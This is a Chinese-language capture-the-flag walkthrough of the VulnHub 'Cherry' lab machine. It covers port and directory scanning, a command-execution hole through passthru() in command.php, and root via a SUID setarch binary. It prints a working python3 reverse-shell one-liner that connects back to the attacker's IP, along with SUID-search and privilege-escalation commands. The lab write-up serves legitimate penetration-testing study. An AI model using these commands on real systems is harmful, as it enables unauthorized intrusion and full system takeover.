vulnhub靶场,Cherry
环境准备
靶机下载地址:https://www.vulnhub.com/entry/cherry-1,552/
攻击机:kali(192.168.109.128)
靶机:Cherry(192.168.109.132)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
信息收集
使用arp-scan确定目标靶机
确定目标靶机IP为192.168.109.132
使用nmap扫描查看目标靶机端口开放情况
开放端口:22、80、7755、3306
浏览器访问目标靶机80端口
发现是一个纯静态网页,查看一下页面源代码看看
这里说黑客已经留下后门,看来是一个提示
对网站进行目录结构扫描
访问backup
试试
显示没有权限访问该网页,访问info.php
试试
发现自动下载了info.php文件,文件内容就是非常简单的输入php配置信息的代码,也没有太大用处
看来80端口是行不通了,既然开放了3306端口,虽然不知道账号密码,试着去连接一下
看来没有账号密码还是不可能登入进去的,那就从7755端口下手,通过nmap扫描发现7755端口也是http的服务,那就用浏览器访问7755端口
发现跟80端口的网页一模一样,再对网站目录结构进行扫描
扫出来的文件竟然也和80端口一模一样,那这个backup页面看看是不是还是没有权限访问
现在发现可以看到得到一些文件,但是将这些压缩包下载下来看了看里面的内容,并未发现一些有用的信息
那就进入这个comman.php页面看一看
又是一片空白,查看源代码看看
发现里面有一句php代码,上网查一下passthru函数有什么作用
原来passthru函数也能执行系统命令,那就简单了,使用backup进行传参构成远程代码执行漏洞
查看一下当前路径下的文件
命令成功执行,确定这里存在一个代码执行漏洞
渗透过程
既然存在命令执行漏洞,使用nc反弹一个shell试试
kali终端:
靶机:
但是可以看到并不能反弹成功,靶机中应该没有安装nc
没有安装nc,看看有没有安装python,可以使用python进行反弹
先查看一下python版本
可以看到python版本为3.8
kali终端内依然使用nc监听4444端口
靶机:
view-source:http://192.168.109.132:7755/backup/command.php?backup=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.109.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
可以看到kali这边成功反弹一个shell
权限提升
查找设置了suid权限的文件
find / -perm -u=s -type f 2>/dev/null
这里使用setarch命令进行提权
setarch $(arch) /bin/sh -p
切换至根目录,查看根目录下的文件,成功获得flag,Cherry靶机渗透结束